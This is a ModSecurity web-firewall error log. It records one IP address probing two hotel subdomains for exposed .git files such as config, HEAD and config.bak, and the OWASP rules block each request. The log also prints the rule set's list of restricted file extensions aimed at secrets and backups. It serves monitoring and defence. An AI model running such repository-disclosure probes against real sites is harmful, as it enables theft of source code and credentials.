[Mon Oct 26 08:36:23.315428 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/COMMIT_EDITMSG"] [unique_id "at9JRwsj78QLlrBrm-445wAAAAc"]
[Mon Oct 26 08:36:23.340979 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/fetch_head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/FETCH_HEAD"] [unique_id "at9JRxA_yAFS6UHz-l1VQwAAAA0"]
[Mon Oct 26 08:36:23.341116 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/FETCH_HEAD"] [unique_id "at9JRxA_yAFS6UHz-l1VQwAAAA0"]
[Mon Oct 26 08:36:23.341359 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/FETCH_HEAD"] [unique_id "at9JRxA_yAFS6UHz-l1VQwAAAA0"]
[Mon Oct 26 08:36:23.360627 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at9JRw9c_Zz9LocrxF9eqQAAAAU"]
[Mon Oct 26 08:36:23.360768 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at9JRw9c_Zz9LocrxF9eqQAAAAU"]
[Mon Oct 26 08:36:23.361031 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at9JRw9c_Zz9LocrxF9eqQAAAAU"]
[Mon Oct 26 08:36:23.361617 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/"] [unique_id "at9JR3tuNRyqJbUWH7Jv7QAAAAQ"]
[Mon Oct 26 08:36:23.361790 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/"] [unique_id "at9JR3tuNRyqJbUWH7Jv7QAAAAQ"]
[Mon Oct 26 08:36:23.362056 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/"] [unique_id "at9JR3tuNRyqJbUWH7Jv7QAAAAQ"]
[Mon Oct 26 08:36:23.377241 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/commit_editmsg"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/COMMIT_EDITMSG"] [unique_id "at9JR5_dbg3ptBnwDgQ5HQAAAAM"]
[Mon Oct 26 08:36:23.377375 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/COMMIT_EDITMSG"] [unique_id "at9JR5_dbg3ptBnwDgQ5HQAAAAM"]
[Mon Oct 26 08:36:23.377597 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/COMMIT_EDITMSG"] [unique_id "at9JR5_dbg3ptBnwDgQ5HQAAAAM"]
[Mon Oct 26 08:36:23.386780 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/orig_head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/ORIG_HEAD"] [unique_id "at9JR03DiqOFJPXX6P43pQAAABM"]
[Mon Oct 26 08:36:23.386970 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/ORIG_HEAD"] [unique_id "at9JR03DiqOFJPXX6P43pQAAABM"]
[Mon Oct 26 08:36:23.387195 2026] [security2:error] [pid 3023345:tid 3023345] [client 93.123.109.247:39918] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/ORIG_HEAD"] [unique_id "at9JR03DiqOFJPXX6P43pQAAABM"]
[Mon Oct 26 08:36:23.398758 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9JRwsj78QLlrBrm-446AAAAAc"]
[Mon Oct 26 08:36:23.398957 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9JRwsj78QLlrBrm-446AAAAAc"]
[Mon Oct 26 08:36:23.399174 2026] [security2:error] [pid 3032204:tid 3032204] [client 93.123.109.247:39886] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9JRwsj78QLlrBrm-446AAAAAc"]
[Mon Oct 26 08:36:23.411620 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/fetch_head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/FETCH_HEAD"] [unique_id "at9JR3hYESb98d-GXViKnAAAAAs"]
[Mon Oct 26 08:36:23.411770 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/FETCH_HEAD"] [unique_id "at9JR3hYESb98d-GXViKnAAAAAs"]
[Mon Oct 26 08:36:23.412033 2026] [security2:error] [pid 3031755:tid 3031755] [client 93.123.109.247:39880] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/FETCH_HEAD"] [unique_id "at9JR3hYESb98d-GXViKnAAAAAs"]
[Mon Oct 26 08:36:23.418733 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config.bak"] [unique_id "at9JRxA_yAFS6UHz-l1VRAAAAA0"]
[Mon Oct 26 08:36:23.418891 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config.bak"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config.bak"] [unique_id "at9JRxA_yAFS6UHz-l1VRAAAAA0"]
[Mon Oct 26 08:36:23.419015 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config.bak"] [unique_id "at9JRxA_yAFS6UHz-l1VRAAAAA0"]
[Mon Oct 26 08:36:23.419226 2026] [security2:error] [pid 3024447:tid 3024447] [client 93.123.109.247:39894] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config.bak"] [unique_id "at9JRxA_yAFS6UHz-l1VRAAAAA0"]
[Mon Oct 26 08:36:23.427121 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at9JR3T09R7Np-FQ85dj1wAAAAo"]
[Mon Oct 26 08:36:23.427252 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at9JR3T09R7Np-FQ85dj1wAAAAo"]
[Mon Oct 26 08:36:23.427466 2026] [security2:error] [pid 3027735:tid 3027735] [client 93.123.109.247:39842] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/HEAD"] [unique_id "at9JR3T09R7Np-FQ85dj1wAAAAo"]
[Mon Oct 26 08:36:23.440717 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config.old"] [unique_id "at9JRw9c_Zz9LocrxF9eqgAAAAU"]
[Mon Oct 26 08:36:23.440879 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config.old"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config.old"] [unique_id "at9JRw9c_Zz9LocrxF9eqgAAAAU"]
[Mon Oct 26 08:36:23.441004 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config.old"] [unique_id "at9JRw9c_Zz9LocrxF9eqgAAAAU"]
[Mon Oct 26 08:36:23.441098 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/orig_head"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/ORIG_HEAD"] [unique_id "at9JR3tuNRyqJbUWH7Jv7gAAAAQ"]
[Mon Oct 26 08:36:23.441230 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/ORIG_HEAD"] [unique_id "at9JR3tuNRyqJbUWH7Jv7gAAAAQ"]
[Mon Oct 26 08:36:23.441232 2026] [security2:error] [pid 3024443:tid 3024443] [client 93.123.109.247:39910] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles4.sherwinpinturas.com"] [uri "/.git/config.old"] [unique_id "at9JRw9c_Zz9LocrxF9eqgAAAAU"]
[Mon Oct 26 08:36:23.441467 2026] [security2:error] [pid 3023736:tid 3023736] [client 93.123.109.247:39864] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/ORIG_HEAD"] [unique_id "at9JR3tuNRyqJbUWH7Jv7gAAAAQ"]
[Mon Oct 26 08:36:23.460321 2026] [security2:error] [pid 3019667:tid 3019667] [client 93.123.109.247:39850] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "hoteles3.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "at9JR5_dbg3ptBnwDgQ5HgAAAAM"]
